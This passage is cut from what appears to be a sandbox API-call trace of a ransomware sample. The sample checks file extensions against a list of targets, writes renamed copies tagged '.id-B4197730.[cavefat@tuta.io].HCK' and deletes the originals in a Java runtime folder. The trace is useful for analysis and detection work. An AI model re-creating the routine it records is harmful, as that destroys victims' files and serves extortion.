Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.325] lstrlenW (lpString=".doc") returned 4 [0177.325] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.325] lstrlenW (lpString=".docx") returned 5 [0177.325] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0177.325] lstrlenW (lpString=".pdf") returned 4 [0177.325] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.325] lstrlenW (lpString=".xls") returned 4 [0177.325] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.325] lstrlenW (lpString=".xlsx") returned 5 [0177.325] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0177.325] lstrlenW (lpString=".ppt") returned 4 [0177.325] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.325] lstrlenW (lpString=".zip") returned 4 [0177.325] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.325] lstrlenW (lpString=".rar") returned 4 [0177.325] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.325] lstrlenW (lpString=".bz2") returned 4 [0177.325] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.325] lstrlenW (lpString=".7z") returned 3 [0177.325] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.325] lstrlenW (lpString=".dbf") returned 4 [0177.325] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.326] lstrlenW (lpString=".1cd") returned 4 [0177.326] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.326] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.326] lstrlenW (lpString=".jpg") returned 4 [0177.326] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.326] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0177.326] lstrlenW (lpString="msvcr100.dll") returned 12 [0177.326] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0177.347] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=829264) returned 1 [0177.347] CloseHandle (hObject=0x2e8) returned 1 [0177.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 0x20 [0177.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0177.376] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.377] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.377] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.377] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0177.383] GetLastError () returned 0x0 [0177.383] ReadFile (in: hFile=0x370, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0xca750, lpOverlapped=0x0) returned 1 [0177.407] WriteFile (in: hFile=0x2f4, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xca760, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xca760, lpOverlapped=0x0) returned 1 [0177.416] ReadFile (in: hFile=0x370, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0177.417] WriteFile (in: hFile=0x2f4, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xec, lpOverlapped=0x0) returned 1 [0177.417] SetEndOfFile (hFile=0x2f4) returned 1 [0177.443] CloseHandle (hObject=0x2f4) returned 1 [0177.443] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.443] SetEndOfFile (hFile=0x370) returned 1 [0177.454] CloseHandle (hObject=0x370) returned 1 [0177.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0177.455] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 1 [0177.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0177.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0177.456] lstrlenW (lpString=".doc") returned 4 [0177.456] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.456] lstrlenW (lpString=".docx") returned 5 [0177.456] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0177.456] lstrlenW (lpString=".pdf") returned 4 [0177.456] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.456] lstrlenW (lpString=".xls") returned 4 [0177.456] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.456] lstrlenW (lpString=".xlsx") returned 5 [0177.456] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0177.456] lstrlenW (lpString=".ppt") returned 4 [0177.456] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0177.456] lstrlenW (lpString=".zip") returned 4 [0177.456] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.456] lstrlenW (lpString=".rar") returned 4 [0177.456] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.456] lstrlenW (lpString=".bz2") returned 4 [0177.456] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.456] lstrlenW (lpString=".7z") returned 3 [0177.456] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0177.456] lstrlenW (lpString=".dbf") returned 4 [0177.456] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0177.456] lstrlenW (lpString=".1cd") returned 4 [0177.456] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0177.456] lstrlenW (lpString=".jpg") returned 4 [0177.456] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0177.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0177.457] lstrlenW (lpString=".doc") returned 4 [0177.457] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.457] lstrlenW (lpString=".docx") returned 5 [0177.457] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0177.457] lstrlenW (lpString=".pdf") returned 4 [0177.457] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.457] lstrlenW (lpString=".xls") returned 4 [0177.457] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.457] lstrlenW (lpString=".xlsx") returned 5 [0177.457] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0177.457] lstrlenW (lpString=".ppt") returned 4 [0177.457] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0177.457] lstrlenW (lpString=".zip") returned 4 [0177.457] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.457] lstrlenW (lpString=".rar") returned 4 [0177.457] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.457] lstrlenW (lpString=".bz2") returned 4 [0177.457] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.457] lstrlenW (lpString=".7z") returned 3 [0177.457] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0177.457] lstrlenW (lpString=".dbf") returned 4 [0177.457] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0177.457] lstrlenW (lpString=".1cd") returned 4 [0177.457] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0177.457] lstrlenW (lpString=".jpg") returned 4 [0177.457] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.457] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0177.457] lstrlenW (lpString="npt.dll") returned 7 [0177.457] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0177.464] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=19008) returned 1 [0177.464] CloseHandle (hObject=0x2d0) returned 1 [0177.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 0x20 [0177.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0177.466] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0177.466] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.467] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.467] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0177.469] GetLastError () returned 0x0 [0177.469] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x4a40, lpOverlapped=0x0) returned 1 [0177.471] WriteFile (in: hFile=0x390, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x4a50, lpOverlapped=0x0) returned 1 [0177.472] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0177.472] WriteFile (in: hFile=0x390, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xe2, lpOverlapped=0x0) returned 1 [0177.472] SetEndOfFile (hFile=0x390) returned 1 [0177.473] CloseHandle (hObject=0x390) returned 1 [0177.473] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.473] SetEndOfFile (hFile=0x2e8) returned 1 [0177.475] CloseHandle (hObject=0x2e8) returned 1 [0177.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0177.475] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 1 [0177.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0177.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0177.477] lstrlenW (lpString=".doc") returned 4 [0177.477] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.477] lstrlenW (lpString=".docx") returned 5 [0177.477] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0177.477] lstrlenW (lpString=".pdf") returned 4 [0177.477] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.477] lstrlenW (lpString=".xls") returned 4 [0177.477] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.477] lstrlenW (lpString=".xlsx") returned 5 [0177.477] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0177.477] lstrlenW (lpString=".ppt") returned 4 [0177.477] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0177.477] lstrlenW (lpString=".zip") returned 4 [0177.477] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.477] lstrlenW (lpString=".rar") returned 4 [0177.477] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.477] lstrlenW (lpString=".bz2") returned 4 [0177.477] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.477] lstrlenW (lpString=".7z") returned 3 [0177.478] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0177.478] lstrlenW (lpString=".dbf") returned 4 [0177.478] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0177.478] lstrlenW (lpString=".1cd") returned 4 [0177.478] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0177.478] lstrlenW (lpString=".jpg") returned 4 [0177.478] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0177.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0177.478] lstrlenW (lpString=".doc") returned 4 [0177.478] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.478] lstrlenW (lpString=".docx") returned 5 [0177.478] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0177.478] lstrlenW (lpString=".pdf") returned 4 [0177.478] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.478] lstrlenW (lpString=".xls") returned 4 [0177.478] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.478] lstrlenW (lpString=".xlsx") returned 5 [0177.478] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0177.478] lstrlenW (lpString=".ppt") returned 4 [0177.478] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0177.478] lstrlenW (lpString=".zip") returned 4 [0177.478] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.478] lstrlenW (lpString=".rar") returned 4 [0177.478] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.478] lstrlenW (lpString=".bz2") returned 4 [0177.478] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.478] lstrlenW (lpString=".7z") returned 3 [0177.478] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0177.478] lstrlenW (lpString=".dbf") returned 4 [0177.478] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0177.478] lstrlenW (lpString=".1cd") returned 4 [0177.478] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0177.478] lstrlenW (lpString=".jpg") returned 4 [0177.478] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.479] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0177.479] lstrlenW (lpString="policytool.exe") returned 14 [0177.479] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0177.481] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=16448) returned 1 [0177.481] CloseHandle (hObject=0x2e8) returned 1 [0177.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 0x20 [0177.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0177.483] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0177.483] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.484] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.484] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.486] GetLastError () returned 0x0 [0177.486] ReadFile (in: hFile=0x2f4, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x4040, lpOverlapped=0x0) returned 1 [0177.511] WriteFile (in: hFile=0x370, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x4050, lpOverlapped=0x0) returned 1 [0177.511] ReadFile (in: hFile=0x2f4, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0177.511] WriteFile (in: hFile=0x370, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xf0, lpOverlapped=0x0) returned 1 [0177.512] SetEndOfFile (hFile=0x370) returned 1 [0177.513] CloseHandle (hObject=0x370) returned 1 [0177.513] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.513] SetEndOfFile (hFile=0x2f4) returned 1 [0177.520] CloseHandle (hObject=0x2f4) returned 1 [0177.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0177.529] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 1 [0177.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0177.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0177.532] lstrlenW (lpString=".doc") returned 4 [0177.532] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0177.532] lstrlenW (lpString=".docx") returned 5 [0177.532] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0177.532] lstrlenW (lpString=".pdf") returned 4 [0177.532] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0177.532] lstrlenW (lpString=".xls") returned 4 [0177.532] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0177.532] lstrlenW (lpString=".xlsx") returned 5 [0177.532] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0177.532] lstrlenW (lpString=".ppt") returned 4 [0177.532] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0177.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0177.532] lstrlenW (lpString=".zip") returned 4 [0177.532] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0177.532] lstrlenW (lpString=".rar") returned 4 [0177.532] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0177.532] lstrlenW (lpString=".bz2") returned 4 [0177.532] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0177.532] lstrlenW (lpString=".7z") returned 3 [0177.532] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0177.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0177.532] lstrlenW (lpString=".dbf") returned 4 [0177.532] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0177.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0177.532] lstrlenW (lpString=".1cd") returned 4 [0177.532] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0177.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0177.532] lstrlenW (lpString=".jpg") returned 4 [0177.532] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0177.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0177.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0177.533] lstrlenW (lpString=".doc") returned 4 [0177.533] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0177.533] lstrlenW (lpString=".docx") returned 5 [0177.533] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0177.533] lstrlenW (lpString=".pdf") returned 4 [0177.533] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0177.533] lstrlenW (lpString=".xls") returned 4 [0177.533] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0177.533] lstrlenW (lpString=".xlsx") returned 5 [0177.533] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0177.533] lstrlenW (lpString=".ppt") returned 4 [0177.533] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0177.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0177.533] lstrlenW (lpString=".zip") returned 4 [0177.533] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0177.533] lstrlenW (lpString=".rar") returned 4 [0177.533] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0177.533] lstrlenW (lpString=".bz2") returned 4 [0177.533] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0177.533] lstrlenW (lpString=".7z") returned 3 [0177.533] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0177.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0177.533] lstrlenW (lpString=".dbf") returned 4 [0177.533] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0177.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0177.533] lstrlenW (lpString=".1cd") returned 4 [0177.533] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0177.533] lstrlenW (lpString="C:\\Program 